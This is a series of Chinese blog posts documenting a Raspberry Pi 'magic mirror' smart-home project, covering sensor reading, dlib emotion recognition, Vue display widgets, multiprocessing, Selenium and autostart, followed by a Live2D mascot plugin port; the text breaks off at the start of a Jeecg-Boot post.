        k = 0
        while GPIO.input(channel) is GPIO.LOW:  # 跳过低电平
            continue

        while GPIO.input(channel) is GPIO.HIGH:  # 如果是高电平，则进入循环，高电平结束时停止
            k += 1                              # 计数器自增
            if k > 100:                         # 如果高电平计数器大于100，则跳出循环，数据错误
                break
        if k < 8:                               # 如果计数器数值小于8次，则认为值为0
            data.append(0)
        else:                                   # 否则认为值为1
            data.append(1)
        j += 1                                  # 数据位数计数器加一


# 数据处理
def data_processing():
    global data
    # 按位切割数据
    humidity_bit = data[0:8]
    humidity_point_bit = data[8:16]
    temperature_bit = data[16:24]
    temperature_point_bit = data[24:32]
    check_bit = data[32:40]

    humidity = 0
    humidity_point = 0
    temperature = 0
    temperature_point = 0
    check = 0
    # 计算各个数据结果和校验值
    for i in range(8):
        humidity += humidity_bit[i] * 2 ** (7 - i)
        humidity_point += humidity_point_bit[i] * 2 ** (7 - i)
        temperature += temperature_bit[i] * 2 ** (7 - i)
        temperature_point += temperature_point_bit[i] * 2 ** (7 - i)
        check += check_bit[i] * 2 ** (7 - i)
    # 计算检查值
    tmp = humidity + humidity_point + temperature + temperature_point
    return temperature, humidity, check, tmp


# 获取温湿度数据
def get_temperature_humidity(setting_channel):
    global channel
    channel = setting_channel
    initialize()
    get_data()
    temperature, humidity, check, tmp = data_processing()
    GPIO.cleanup()
    return temperature, humidity, check, tmp    # 温度、湿度、校验值、检查值

使用时直接调用get_temperature_humidity并传入树莓派端口号（引脚）即可

新版本获取温湿度信息

Home Assistant有个获取DHT传感器信息的插件，配置如下：

sensor:
  platform: dht
  sensor: DHT11
  pin: 17
  monitored_conditions:
    - temperature
    - humidity

引脚为17号，然后GET

http://树莓派ip地址:8123/api/states/sensor.dht_sensor_humidity

并加上Bearer形式的token即可获取到湿度信息，温度同理

显示到屏幕上

环境进程通过Queue队列发送数据，显示进程获取到数据再通过selenium执行javascript语句显示到屏幕上，其中温湿度的显示是使用两个ECharts表盘显示的，我封装成了个Vue插件：

<template>
    <div class="sensor_line" style="margin-top: 50px;">
        <div id="chart" class="sensor_meter"></div>
        <span id="hide_temp" style="display:none">0</span>
        <span id="hide_humidity" style="display:none">0</span>
    </div>
</template>
<script>
    export default {
        name: "Sensor",
        data() {
            return {
                temp: 0,
                humidity: 0
            }
        },
        mounted() {
            this.init();
            setInterval(this.refresh_data, 3000);
        },
        methods:{
            init(){
                var chart = this.$echarts.init(document.getElementById("chart"));
                var option = {
                    title: {
                        text: '温度                            湿度',
                        x: 'center',
                        textStyle: {
                            color: '#fff',
                            fontSize: 24
                        }
                    },
                    grid: {
                        x: 20,
                        y: 30,
                        x2: 20,
                        y2: 10,
                    },
                    series: [{
                        name: '温度',
                        type: 'gauge',
                        center: ['25%', '50%'],
                        min: 0,
                        max: 60,
                        splitNumber: 8,
                        axisLine: {
                            lineStyle: {
                                color: [
                                    [12 / 400, '#668888'],
                                    [35.4 / 400, '#888888'],
                                    [55.4 / 400, '#aa8888'],
                                    [150.4 / 400, '#cc8888'],
                                    [250.4 / 400, '#dd8888'],
                                    [400 / 400, '#ff8888']
                                ],
                                width: 3,
                            }
                        },
                        axisLabel: {
                            show: false,
                        },
                        detail: {
                            formatter: '{value}℃',
                            offsetCenter: [0, '60%'],
                        },
                        data: [{
                            value: this.temp
                        }]
                    },{
                        name: '湿度',
                        type: 'gauge',
                        center: ['75%', '50%'],
                        min: 0,
                        max: 100,
                        splitNumber: 8,
                        axisLine: {
                            lineStyle: {
                                color: [
                                    [12 / 400, '#668888'],
                                    [35.4 / 400, '#888888'],
                                    [55.4 / 400, '#aa8888'],
                                    [150.4 / 400, '#cc8888'],
                                    [250.4 / 400, '#dd8888'],
                                    [400 / 400, '#ff8888']
                                ],
                                width: 3,
                            }
                        },
                        axisLabel: {
                            show: false,
                        },
                        detail: {
                            formatter: '{value}%',
                            offsetCenter: [0, '60%'],
                        },
                        data: [{
                            value: this.humidity
                        }]
                    }]
                };
                chart.setOption(option);
            },
            refresh_data(){
                this.temp = document.getElementById("hide_temp").innerText;
                this.humidity = document.getElementById("hide_humidity").innerText;
                this.init();
            }
        }
    }
</script>
<style scoped>
    .sensor_meter {
        width:500px;
        height:250px;
    }
</style>

【“魔镜”系列】基于dlib的情绪识别

七仔(Github) — Thu, 18 Jun 2020 13:19:48 GMT

【“魔镜”系列】基于dlib的情绪识别

原理

首先dlib库进行人脸识别与特征标定获得人脸对应的68个特征点，然后通过嘴巴张开距离占面部识别框宽度的比例、眉毛上扬程度、眯眼睛程度对用户情绪进行判定参考：python3+dlib人脸识别及情绪分析

代码

class EmotionRecognition:
    def __init__(self):
        self.detector = dlib.get_frontal_face_detector()            # 使用特征提取器get_frontal_face_detector
        self.predictor = dlib.shape_predictor(DATA_PATH)            # dlib的68点模型，使用训练好的特征预测器

    def learning_face(self, path):
        im_read = cv2.imread(path, 1)
        face_list = self.detector(cv2.cvtColor(im_read, cv2.COLOR_RGB2GRAY), 0)   # 对灰度图像使用检测器检测
        if len(face_list) != 0:                                     # 检测器检测到人脸
            for i in range(len(face_list)):                         # 获取68个特征点
                for k, d in enumerate(face_list):                   # 获取索引和数据，k为索引，d为对象
                    box_width = d.right() - d.left()                # 计算人脸框边长
                    appear = self.predictor(im_read, d)             # 获取68个特征点坐标
                    mouth_higth = (appear.part(66).y - appear.part(62).y) / box_width
                    # 眉毛直线拟合列表
                    brow_x = []
                    brow_y = []
                    for j in range(17, 21):
                        brow_x.append(appear.part(j).x)
                        brow_y.append(appear.part(j).y)
                    z1 = np.polyfit(np.array(brow_x), np.array(brow_y), 1)
                    brow_k = -round(z1[0], 3)                       # 拟合成一条直线
                    eye_hight = ((appear.part(41).y - appear.part(37).y + appear.part(40).y - appear.part(38).y +
                               appear.part(47).y - appear.part(43).y + appear.part(46).y - appear.part(44).y)
                                 / 4) / box_width                   # 获取眼睛睁开大小
                    upload_qiniu(path)                              # 上传至图床
                    if round(mouth_higth >= 0.03):
                        if eye_hight >= 0.056:
                            send_face_data_save(path, "3")          # 惊讶
                            return json.dumps({"state": "success", "result": "amazing"})
                        else:
                            send_face_data_save(path, "4")          # 开心
                            return json.dumps({"state": "success", "result": "happy"})
                    else:
                        if brow_k <= -0.3:
                            send_face_data_save(path, "1")          # 生气
                            return json.dumps({"state": "success", "result": "angry"})
                        else:
                            send_face_data_save(path, "2")          # 正常
                            return json.dumps({"state": "success", "result": "nature"})
                break                                               # 只识别一张人脸
        return json.dumps({"state": "error", "result": "no face"})  # 未识别到人脸

【“魔镜”系列】天气信息的显示

七仔(Github) — Thu, 18 Jun 2020 12:38:03 GMT

【“魔镜”系列】天气信息的显示

来源

中国天气网有定制的插件，有非常多的选择，这里放一下网址：天气插件

代码

但是我用的Vue做基础，所以将这个插件改为了Vue版的（但是还是需要在上面的网址生成）

<template>
    <div id="weather-view-he"></div>
</template>

<script>
    export default {
        name: "Weather",
        created() {
            const WIDGET = document.createElement('script');
            WIDGET.text = "WIDGET = {ID: 'RejMJQqNQR'}";
            document.body.appendChild(WIDGET);
            const s = document.createElement('script');
            s.type = 'text/javascript';
            s.src = 'https://apip.weatherdt.com/view/static/js/r.js?v=1111';
            document.body.appendChild(s);
        },
        mounted() {
            var id = setInterval(() => {
                if(document.getElementById("weather-view-he").style.cssText
                    === "background-color:#000;width:500px;height:250px;font-size: 16px;"){
                    clearInterval(id)
                }
                document.getElementById("weather-view-he").style.cssText
                    = "background-color:#000;width:500px;height:250px;font-size: 16px;"
            },500)
        }
    }
</script>

这里多了mounted()函数，因为生成的插件虽然有深色版，但是黑的不够彻底，需要做一下样式调整，其中还包括大小和字体可以看到是用了计时器进行样式调整，因为需要给原来的插件调整的时间，确定调整成功后会关闭计时器

【“魔镜”系列】多进程和进程间通信

七仔(Github) — Thu, 18 Jun 2020 12:18:43 GMT

【“魔镜”系列】多进程和进程间通信

选择多进程的原因

因为python多线程并不是并行执行，因此较适合与I/O密集型程序，多进程并行执行适用于CPU密集型程序，我们的四个模块相对更适合多进程

多进程的启动

#!/usr/bin/python3
from multiprocessing import Process, Queue
from lib import configurationUtil

import core.view_html.view_html as view_html
import core.face_detection.face_detection as face_detection
import core.dialogue.snowboy as snowboy
import core.sensor.sensor as sensor


def start():
    print("Start to 4 process...")
    try:
        # 获取用户id
        user_id = configurationUtil.get_user_id()
        # 队列
        queue = Queue()
        # 启动显示视图线程
        print("Start the view html process")
        p_viw_html = Process(target=view_html.viw_html, args=(queue,))
        p_viw_html.start()
        # 启动人脸识别线程
        print("Start the face recognition process")
        p_face_detection = Process(target=face_detection.face_detection)
        p_face_detection.start()
        # 启动语音识别线程
        print("Start the speech recognition process")
        p_snowboy = Process(target=snowboy.snowboy, args=(user_id, queue))
        p_snowboy.start()
        # 启动传感器线程
        print("Start the sensor process")
        p_sensor = Process(target=sensor.sensor, args=(user_id, queue))
        p_sensor.start()
    except Exception as e:
        print("Unexpected error:", e)
    while 1:
        pass

启动了四个进程，分别是视图、人脸识别、智能对话和温湿度传感器我们来看传感器进程

# 启动传感器线程
print("Start the sensor process")
p_sensor = Process(target=sensor.sensor, args=(user_id, queue))
p_sensor.start()

sensor.sensor是函数名，user_id, queue是两个参数

进程间通信

选用队列Queue进程进行通信，我们关注queue这个参数

from multiprocessing import Process, Queue
# 队列
queue = Queue()
...
p_viw_html = Process(target=view_html.viw_html, args=(queue,))
...
p_sensor = Process(target=sensor.sensor, args=(user_id, queue))

可以看到queue这个参数被放到视图进程的第一个参数和传感器进程的第二个参数中

在传感器进程的代码中有这样的代码

json_data = {
    "type": "sensor_data",
    "data": data
}
queue.put(json_data)

这是发送消息，在视图进程有这样的代码

json_data = queue.get()

这是接收代码，非常简单明了

【“魔镜”系列】selenium控制浏览器

七仔(Github) — Thu, 18 Jun 2020 11:55:04 GMT

【“魔镜”系列】selenium控制浏览器

python使用selenium打开浏览器并打开指定页面

from selenium import webdriver
from selenium.webdriver.chrome.options import Options

executable_path = '浏览器驱动文件位置'
driver_url = '需要打开的网址'

option = Options()
# option.add_argument('disable_infobars')   # 与下面一行效果相同（去除浏览器出现的受控制提示），新版本已失效
option.add_experimental_option('excludeSwitches', ['enable-automation'])
global driver, executable_path
driver = webdriver.Chrome(options=option, executable_path=executable_path)  # 打开浏览器
driver.maximize_window()     # 最大化 
driver.get(driver_url)       # 转到指定页面
driver.fullscreen_window()   # 全屏

执行js语句对页面进行修改

word = '你好啊，主人'
js = 'document.getElementsByClassName("title-msg")[0].innerHTML ="' + word + '"'
driver.execute_script(js)

【“魔镜”系列】开机自启动

七仔(Github) — Thu, 18 Jun 2020 05:58:44 GMT

【“魔镜”系列】开机自启动

“魔镜”的启动

魔镜正常运行的前提条件是已经运行成功Home Assistant，我写了一个sh脚本：

/home/pi/.local/bin/hass &
sleep 30
cd /home/pi/client-raspberrypi/bin/
python3 start.py

第一行是异步运行hass，因为hass是个系统，启动以后会一直阻塞运行，第二行是等待30秒，hass大概十几秒可以运行起来，这里做个加长然后第二行第三行是运行系统主程序

开机自启动

这里使用了桌面的自启动，参考【教程】树莓派程序开机自启动方法总结在/home/pi/.config/autostart/目录下新建new.desktop 内容如下

[Desktop Entry]
Type=Application
Name=testboot
NoDisplay=true
Exec=bash /home/pi/client-raspberrypi/start.sh

相当于树莓派开机后运行了这条命令:

bash /home/pi/client-raspberrypi/start.sh

“魔镜”智能家居系统（我的毕设）

七仔(Github) — Thu, 18 Jun 2020 05:23:58 GMT

“魔镜”智能家居系统（我的毕设）

介绍

灵感来源于《白雪公主》里皇后的魔镜，然后就想给对象做一个。如果只做对话未免有些单调，所以想增加一些功能，包括：控制智能家居、获取温湿度、显示天气信息、节假日信息、最近的新闻、基于情绪识别进行对话。

大致思路

参考MagicMirror，使用单向镜+显示屏+木框作为主体，配合其他的硬件首先是智能对话，流程就是语音唤醒-->语音录制-->语音识别-->智能对话-->语音合成-->播放

语音唤醒：离线语音唤醒，可以使用开源的Snowboy 语音录制：使用SpeechRcognition，自动结束录音语音识别：使用百度的语音API 智能对话：这部分的对话处理在后端处理语音合成：也是使用百度的语音API 播放：使用PyGame播放合成的语音

之后是控制智能家居，有个开源的Home Assistant可以直接拿来用然后是温湿度信息，这块使用DHT11这个温湿度传感器获取，传感器可以与树莓派串口进行连接，获取到温湿度信息接下来是天气信息，中国天气网有前端插件，直接生成改改拿来用就可以还有节假日信息和最近的新闻，这两个放在后端最后是情绪识别，树莓派用OpenCV进行拍照判断是否有人然后进行情绪识别，情绪识别做成个服务放到云上

系统架构

系统代码分为五套首先是树莓派端的，用python编写，包块四大模块：1.智能对话、2.情绪识别、3.环境数据、4.视图，每个模块独占一个进程之后是后端，用SpringCloud作为架构，分为五个服务：1、服务注册发现配置、2.权限、3.网关、4.基础服务、5.环境数据然后是情绪识别端，用python编写，接收图片识别情绪，使用PigX快速开发框架接下来是用户显示端，就是在镜子后面显示屏显示的，基于Vue 最后是管理端，基于Vue，使用Avue框架，使用PigX快速开发框架

部署包括树莓派端、后端、显示端、管理端、情绪识别服务、HBase集群这几个端

结语

由于系统过于庞大，会分为多个博客慢慢讲，先列一下需要讲哪些（智能对话包含过多可能会再次细分）：

智能对话（Snowboy离线唤醒、SpeechRcognition录音、百度语音识别和合成、对话、PyGame播放）

OpenCV人脸检测（不贴项目代码了，用以前写的一个看看）

Phoenix、Hbase的使用

图片存储（直接看官网的用法吧，没什么说的）

vue看板娘插件-雷姆

七仔(Github) — Tue, 28 Apr 2020 12:01:53 GMT

vue看板娘插件-雷姆

一、前言

博客一直没有个看板娘，内容又比较生硬，所以想加个看板娘在角落。

二、挑选

vue看板娘插件中有个比较著名的live2d，里面有很多动漫人物，甚至还有一黑一白两只猫，但是看来看去没有我中意的看板娘。

然后又去搜，找见一个博文给自己的博客加上看板娘——Live2d蕾姆 | 雷姆，但是是个html版的雷姆看板娘，这就面临一个问题：移植到vue中，虽然直接可以放到index.html中，但终归不是正常路子，还是移植吧，好在以前移植过挺多html插件的。

三、移植

先放个移植后的vue吧，后面慢慢更：

<template>
    <div>
        <div>
            <div>欢迎来到七仔的博客</div>
            <canvas id="live2d" width="500" height="560" class="live2d"></canvas>
            <div>
                <div>
                    <input name="name" type="text" class="live_talk_name white_input" id="AIuserName" autocomplete="off" placeholder="你的名字" />
                </div>
                <div>
                    <input name="talk" type="text" class="live_talk_talk white_input" id="AIuserText" autocomplete="off" placeholder="要和我聊什么呀？"/>
                    <button type="button" class="live_talk_send_btn" id="talk_send">发送</button>
                </div>
            </div>
            <input name="live_talk" id="live_talk" value="1" type="hidden" />
            <div>
                <div></div>
                <div></div>
                <div></div>
                <div></div>
                <div></div>
                <input name="live_statu_val" id="live_statu_val" value="0" type="hidden" />
                <audio src preload="none"></audio>
                <input name="live2dBGM" value="https://media.baby7blog.com/music/jfla/ShapeOfYou.mp3" type="hidden">
                <input id="duType" value="douqilai,l2d_caihong" type="hidden">
            </div>
        </div>
        <div>召唤蕾姆</div>
    </div>
</template>

<script>
    import "@/components/briannaKnickerbocker/live2d/js/live2d"

    export default {
        name: "briannaKnickerbocker",
        created() {
            var message_Path = '/live2d/';//资源目录，如果目录不对请更改
            var talkAPI = "";//如果有类似图灵机器人的聊天接口请填写接口路径
            // var home_Path = document.location.protocol +'//' + window.document.location.hostname +'/';
            var home_Path = 'https://www.baby7blog.com/';

            var userAgent = window.navigator.userAgent.toLowerCase();
            console.log(userAgent);
            var norunAI = [ "android", "iphone", "ipod", "ipad", "windows phone", "mqqbrowser" ,"msie","trident/7.0"];
            var norunFlag = false;


            for(var i=0;i<norunAI.length;i++){
                if(userAgent.indexOf(norunAI[i]) > -1){
                    norunFlag = true;
                    break;
                }
            }

            if(!window.WebGLRenderingContext){
                norunFlag = true;
            }

            if(!norunFlag){
                var hitFlag = false;
                var AIFadeFlag = false;
                var liveTlakTimer = null;
                var sleepTimer_ = null;
                var AITalkFlag = false;
                var talkNum = 0;
                (function (){
                    function renderTip(template, context) {
                        var tokenReg = /(\\)?\{([^\{\}\\]+)(\\)?\}/g;
                        return template.replace(tokenReg, function (word, slash1, token, slash2) {
                            if (slash1 || slash2) {
                                return word.replace('\\', '');
                            }
                            var variables = token.replace(/\s/g, '').split('.');
                            var currentObject = context;
                            var i, length, variable;
                            for (i = 0, length = variables.length; i < length; ++i) {
                                variable = variables[i];
                                currentObject = currentObject[variable];
                                if (currentObject === undefined || currentObject === null) return '';
                            }
                            return currentObject;
                        });
                    }

                    String.prototype.renderTip = function (context) {
                        return renderTip(this, context);
                    };

                    var re = /x/;
                    re.toString = function() {
                        showMessage('哈哈，你打开了控制台，是想要看看我的秘密吗？', 5000);
                        return '';
                    };

                    $(document).on('copy', function (){
                        showMessage('你都复制了些什么呀，转载要记得加上出处哦~~', 5000);
                    });

                    function initTips(){
                        $.ajax({
                            cache: true,
                            url: message_Path+'message.json',
                            dataType: "json",
                            success: function (result){
                                $.each(result.mouseover, function (index, tips){
                                    $(tips.selector).mouseover(function (){
                                        var text = tips.text;
                                        if(Array.isArray(tips.text)) text = tips.text[Math.floor(Math.random() * tips.text.length + 1)-1];
                                        text = text.renderTip({text: $(this).text()});
                                        showMessage(text, 3000);
                                        talkValTimer();
                                        clearInterval(liveTlakTimer);
                                        liveTlakTimer = null;
                                    });
                                    $(tips.selector).mouseout(function (){
                                        showHitokoto();
                                        if(liveTlakTimer == null){
                                            liveTlakTimer = window.setInterval(function(){
                                                showHitokoto();
                                            },15000);
                                        };
                                    });
                                });
                                $.each(result.click, function (index, tips){
                                    $(tips.selector).click(function (){
                                        if(hitFlag){
                                            return false
                                        }
                                        hitFlag = true;
                                        setTimeout(function(){
                                            hitFlag = false;
                                        },8000);
                                        var text = tips.text;
                                        if(Array.isArray(tips.text)) text = tips.text[Math.floor(Math.random() * tips.text.length + 1)-1];
                                        text = text.renderTip({text: $(this).text()});
                                        showMessage(text, 3000);
                                    });
                                    clearInterval(liveTlakTimer);
                                    liveTlakTimer = null;
                                    if(liveTlakTimer == null){
                                        liveTlakTimer = window.setInterval(function(){
                                            showHitokoto();
                                        },15000);
                                    };
                                });
                            }
                        });
                    }
                    initTips();

                    var text;
                    if(document.referrer !== ''){
                        var referrer = document.createElement('a');
                        referrer.href = document.referrer;
                        text = '嗨！来自 <span>' + referrer.hostname + '</span> 的朋友！';
                        var domain = referrer.hostname.split('.')[1];
                        if (domain == 'baidu') {
                            text = '嗨！ 来自 百度搜索 的朋友！<br>欢迎访问<span>「 ' + document.title.split(' - ')[0] + ' 」</span>';
                        }else if (domain == 'so') {
                            text = '嗨！ 来自 360搜索 的朋友！<br>欢迎访问<span>「 ' + document.title.split(' - ')[0] + ' 」</span>';
                        }else if (domain == 'google') {
                            text = '嗨！ 来自 谷歌搜索 的朋友！<br>欢迎访问<span>「 ' + document.title.split(' - ')[0] + ' 」</span>';
                        }
                    }else {
                        if (window.location.href == home_Path) { //主页URL判断，需要斜杠结尾
                            var now = (new Date()).getHours();
                            if (now > 23 || now <= 5) {
                                text = '你是夜猫子呀？这么晚还不睡觉，明天起的来嘛？';
                            } else if (now > 5 && now <= 7) {
                                text = '早上好！一日之计在于晨，美好的一天就要开始了！';
                            } else if (now > 7 && now <= 11) {
                                text = '上午好！工作顺利嘛，不要久坐，多起来走动走动哦！';
                            } else if (now > 11 && now <= 14) {
                                text = '中午了，工作了一个上午，现在是午餐时间！';
                            } else if (now > 14 && now <= 17) {
                                text = '午后很容易犯困呢，今天的运动目标完成了吗？';
                            } else if (now > 17 && now <= 19) {
                                text = '傍晚了！窗外夕阳的景色很美丽呢，最美不过夕阳红~~';
                            } else if (now > 19 && now <= 21) {
                                text = '晚上好，今天过得怎么样？';
                            } else if (now > 21 && now <= 23) {
                                text = '已经这么晚了呀，早点休息吧，晚安~~';
                            } else {
                                text = '嗨~ 快来逗我玩吧！';
                            }
                        }else {
                            text = '欢迎阅读<span>「 ' + document.title.split(' - ')[0] + ' 」</span>';
                        }
                    }
                    showMessage(text, 12000);
                })();

                liveTlakTimer = setInterval(function(){
                    showHitokoto();
                },15000);

                function showHitokoto(){
                    if(sessionStorage.getItem("Sleepy")!=="1"){
                        if(!AITalkFlag){
                            $.getJSON('https://v1.hitokoto.cn/',function(result){
                                talkValTimer();
                                showMessage(result.hitokoto, 0);
                            });
                        }
                    }else{
                        hideMessage(0);
                        if(sleepTimer_==null){
                            sleepTimer_ = setInterval(function(){
                                checkSleep();
                            },200);
                        }
                        console.log(sleepTimer_);
                    }
                }

                function checkSleep(){
                    var sleepStatu = sessionStorage.getItem("Sleepy");
                    if(sleepStatu!=='1'){
                        talkValTimer();
                        showMessage('你回来啦~', 0);
                        clearInterval(sleepTimer_);
                        sleepTimer_= null;
                    }
                }

                function showMessage(text, timeout){
                    if(Array.isArray(text)) text = text[Math.floor(Math.random() * text.length + 1)-1];
                    //console.log('showMessage', text);
                    $('.message').stop();
                    $('.message').html(text);
                    $('.message').fadeTo(200, 1);
                    //if (timeout === null) timeout = 5000;
                    //hideMessage(timeout);
                }
                function talkValTimer(){
                    $('#live_talk').val('1');
                }

                function hideMessage(timeout){
                    //$('.message').stop().css('opacity',1);
                    if (timeout === null) timeout = 5000;
                    $('.message').delay(timeout).fadeTo(200, 0);
                }

                function initLive2d (){
                    $('#hideButton').on('click', function(){
                        if(AIFadeFlag){
                            return false;
                        }else{
                            AIFadeFlag = true;
                            localStorage.setItem("live2dhidden", "0");
                            $('#landlord').fadeOut(200);
                            $('#open_live2d').delay(200).fadeIn(200);
                            setTimeout(function(){
                                AIFadeFlag = false;
                            },300);
                        }
                    });
                    $('#open_live2d').on('click', function(){
                        if(AIFadeFlag){
                            return false;
                        }else{
                            AIFadeFlag = true;
                            localStorage.setItem("live2dhidden", "1");
                            $('#open_live2d').fadeOut(200);
                            $('#landlord').delay(200).fadeIn(200);
                            setTimeout(function(){
                                AIFadeFlag = false;
                            },300);
                        }
                    });
                    $('#youduButton').on('click',function(){
                        if($('#youduButton').hasClass('doudong')){
                            var typeIs = $('#youduButton').attr('data-type');
                            $('#youduButton').removeClass('doudong');
                            $('body').removeClass(typeIs);
                            $('#youduButton').attr('data-type','');
                        }else{
                            var duType = $('#duType').val();
                            var duArr = duType.split(",");
                            var dataType = duArr[Math.floor(Math.random() * duArr.length)];

                            $('#youduButton').addClass('doudong');
                            $('#youduButton').attr('data-type',dataType);
                            $('body').addClass(dataType);
                        }
                    });
                    if(talkAPI!==""){
                        $('#showInfoBtn').on('click',function(){
                            var live_statu = $('#live_statu_val').val();
                            if(live_statu=="0"){
                                return
                            }else{
                                $('#live_statu_val').val("0");
                                $('.live_talk_input_body').fadeOut(500);
                                AITalkFlag = false;
                                showHitokoto();
                                $('#showTalkBtn').show();
                                $('#showInfoBtn').hide();
                            }
                        });
                        $('#showTalkBtn').on('click',function(){
                            var live_statu = $('#live_statu_val').val();
                            if(live_statu=="1"){
                                return
                            }else{
                                $('#live_statu_val').val("1");
                                $('.live_talk_input_body').fadeIn(500);
                                AITalkFlag = true;
                                $('#showTalkBtn').hide();
                                $('#showInfoBtn').show();

                            }
                        });
                        $('#talk_send').on('click',function(){
                            var info_ = $('#AIuserText').val();
                            var userid_ = $('#AIuserName').val();
                            if(info_ == "" ){
                                showMessage('写点什么吧！',0);
                                return;
                            }
                            if(userid_ == ""){
                                showMessage('聊之前请告诉我你的名字吧！',0);
                                return;
                            }
                            showMessage('思考中~', 0);
                            $.ajax({
                                type: 'POST',
                                url: talkAPI,
                                data: {
                                    "info":info_,
                                    "userid":userid_
                                },
                                success: function(res) {
                                    if(res.code !== 100000){
                                        talkValTimer();
                                        showMessage('似乎有什么错误，请和站长联系！',0);
                                    }else{
                                        talkValTimer();
                                        showMessage(res.text,0);
                                    }
                                    console.log(res);
                                    $('#AIuserText').val("");
                                    sessionStorage.setItem("live2duser", userid_);
                                }
                            });
                        });
                    }else{
                        $('#showInfoBtn').hide();
                        $('#showTalkBtn').hide();

                    }
                    //获取音乐信息初始化
                    var bgmListInfo = $('input[name=live2dBGM]');
                    if(bgmListInfo.length == 0){
                        $('#musicButton').hide();
                    }else{
                        var bgmPlayNow = parseInt($('#live2d_bgm').attr('data-bgm'));
                        var bgmPlayTime = 0;
                        var live2dBGM_Num = sessionStorage.getItem("live2dBGM_Num");
                        var live2dBGM_PlayTime = sessionStorage.getItem("live2dBGM_PlayTime");
                        if(live2dBGM_Num){
                            if(live2dBGM_Num<=$('input[name=live2dBGM]').length-1){
                                bgmPlayNow = parseInt(live2dBGM_Num);
                            }
                        }
                        if(live2dBGM_PlayTime){
                            bgmPlayTime = parseInt(live2dBGM_PlayTime);
                        }
                        var live2dBGMSrc = bgmListInfo.eq(bgmPlayNow).val();
                        $('#live2d_bgm').attr('data-bgm',bgmPlayNow);
                        $('#live2d_bgm').attr('src',live2dBGMSrc);
                        $('#live2d_bgm')[0].currentTime = bgmPlayTime;
                        $('#live2d_bgm')[0].volume = 0.5;
                        var live2dBGM_IsPlay = sessionStorage.getItem("live2dBGM_IsPlay");
                        var live2dBGM_WindowClose = sessionStorage.getItem("live2dBGM_WindowClose");
                        if(live2dBGM_IsPlay == '0' && live2dBGM_WindowClose == '0'){
                            $('#live2d_bgm')[0].play();
                            $('#musicButton').addClass('play');
                        }
                        sessionStorage.setItem("live2dBGM_WindowClose" , '1');
                        $('#musicButton').on('click',function(){
                            if($('#musicButton').hasClass('play')){
                                $('#live2d_bgm')[0].pause();
                                $('#musicButton').removeClass('play');
                                sessionStorage.setItem("live2dBGM_IsPlay",'1');
                            }else{
                                $('#live2d_bgm')[0].play();
                                $('#musicButton').addClass('play');
                                sessionStorage.setItem("live2dBGM_IsPlay",'0');
                            }
                        });
                        window.onbeforeunload = function(){
                            sessionStorage.setItem("live2dBGM_WindowClose" , '0');
                            if($('#musicButton').hasClass('play')){
                                sessionStorage.setItem("live2dBGM_IsPlay",'0');
                            }
                        }
                        document.getElementById('live2d_bgm').addEventListener("timeupdate", function(){
                            var live2dBgmPlayTimeNow = document.getElementById('live2d_bgm').currentTime;
                            sessionStorage.setItem("live2dBGM_PlayTime" , live2dBgmPlayTimeNow );
                        });
                        document.getElementById('live2d_bgm').addEventListener("ended", function(){
                            var listNow = parseInt($('#live2d_bgm').attr('data-bgm'));
                            listNow ++ ;
                            if(listNow > $('input[name=live2dBGM]').length-1){
                                listNow = 0;
                            }
                            var listNewSrc = $('input[name=live2dBGM]').eq(listNow).val();
                            sessionStorage.setItem("live2dBGM_Num",listNow);
                            $('#live2d_bgm').attr('src',listNewSrc);
                            $('#live2d_bgm')[0].play();
                            $('#live2d_bgm').attr('data-bgm',listNow);
                        });
                        document.getElementById('live2d_bgm').addEventListener("error", function(){
                            $('#live2d_bgm')[0].pause();
                            $('#musicButton').removeClass('play');
                            showMessage('音乐似乎加载不出来了呢！',0);
                        });
                    }
                    //获取用户名
                    var live2dUser = sessionStorage.getItem("live2duser");
                    if(live2dUser !== null){
                        $('#AIuserName').val(live2dUser);
                    }
                    //获取位置
                    var landL = sessionStorage.getItem("historywidth");
                    var landB = sessionStorage.getItem("historyheight");
                    if(landL == null || landB ==null){
                        landL = '5px'
                        landB = '0px'
                    }
                    $('#landlord').css('left',landL+'px');
                    $('#landlord').css('bottom',landB + 'px');
                    //移动
                    function getEvent() {
                        return window.event || arguments.callee.caller.arguments[0];
                    }
                    var smcc = document.getElementById("landlord");
                    var moveX = 0;
                    var moveY = 0;
                    var moveBottom = 0;
                    var moveLeft = 0;
                    var moveable = false;
                    var docMouseMoveEvent = document.onmousemove;
                    var docMouseUpEvent = document.onmouseup;
                    smcc.onmousedown = function(){
                        var ent = getEvent();
                        moveable = true;
                        moveX = ent.clientX;
                        moveY = ent.clientY;
                        var obj = smcc;
                        moveBottom = parseInt(obj.style.bottom);
                        moveLeft = parseInt(obj.style.left);
                        if(isFirefox=navigator.userAgent.indexOf("Firefox")>0){
                            window.getSelection().removeAllRanges();
                        }
                        document.onmousemove = function(){
                            if(moveable){
                                var ent = getEvent();
                                var x = moveLeft + ent.clientX - moveX;
                                var y = moveBottom +  (moveY - ent.clientY);
                                obj.style.left = x + "px";
                                obj.style.bottom = y + "px";
                            }
                        };
                        document.onmouseup = function(){
                            if(moveable){
                                var historywidth = obj.style.left;
                                var historyheight = obj.style.bottom;
                                historywidth = historywidth.replace('px', '');
                                historyheight = historyheight.replace('px', '');
                                sessionStorage.setItem("historywidth", historywidth);
                                sessionStorage.setItem("historyheight", historyheight);
                                document.onmousemove = docMouseMoveEvent;
                                document.onmouseup = docMouseUpEvent;
                                moveable = false;
                                moveX = 0;
                                moveY = 0;
                                moveBottom = 0;
                                moveLeft = 0;
                            }
                        };
                    };
                }
                $(document).ready(function() {
                    var AIimgSrc = [
                        "https://media.baby7blog.com/live2d/texture_00.png"
                    ]
                    var images = [];
                    var imgLength = AIimgSrc.length;
                    var loadingNum = 0;
                    for(var i=0;i<imgLength;i++){
                        images[i] = new Image();
                        images[i].src = AIimgSrc[i];
                        images[i].onload = function(){
                            loadingNum++;
                            if(loadingNum===imgLength){
                                var live2dhidden = localStorage.getItem("live2dhidden");
                                if(live2dhidden==="0"){
                                    setTimeout(function(){
                                        $('#open_live2d').fadeIn(200);
                                    },1300);
                                }else{
                                    setTimeout(function(){
                                        $('#landlord').fadeIn(200);
                                    },1300);
                                }
                                setTimeout(function(){
                                    loadlive2d("live2d", message_Path+"model/rem/rem.json");
                                },1000);
                                initLive2d ();
                                images = null;
                            }
                        }
                    }
                });
            }

        }
    }
</script>

<style scoped>

</style>

对Jeecg-Boot中Token失效返回格式的调整

七仔(Github) — Tue, 28 Apr 2020 11:03:20 GMT

对Jeecg-Boot中Token失效返回格式的调整

一、前言

使用 Jeecg-Boot 的Spring Boot后端模块开发，前端未使用Jeecg-Boot的配套前端。

二、问题

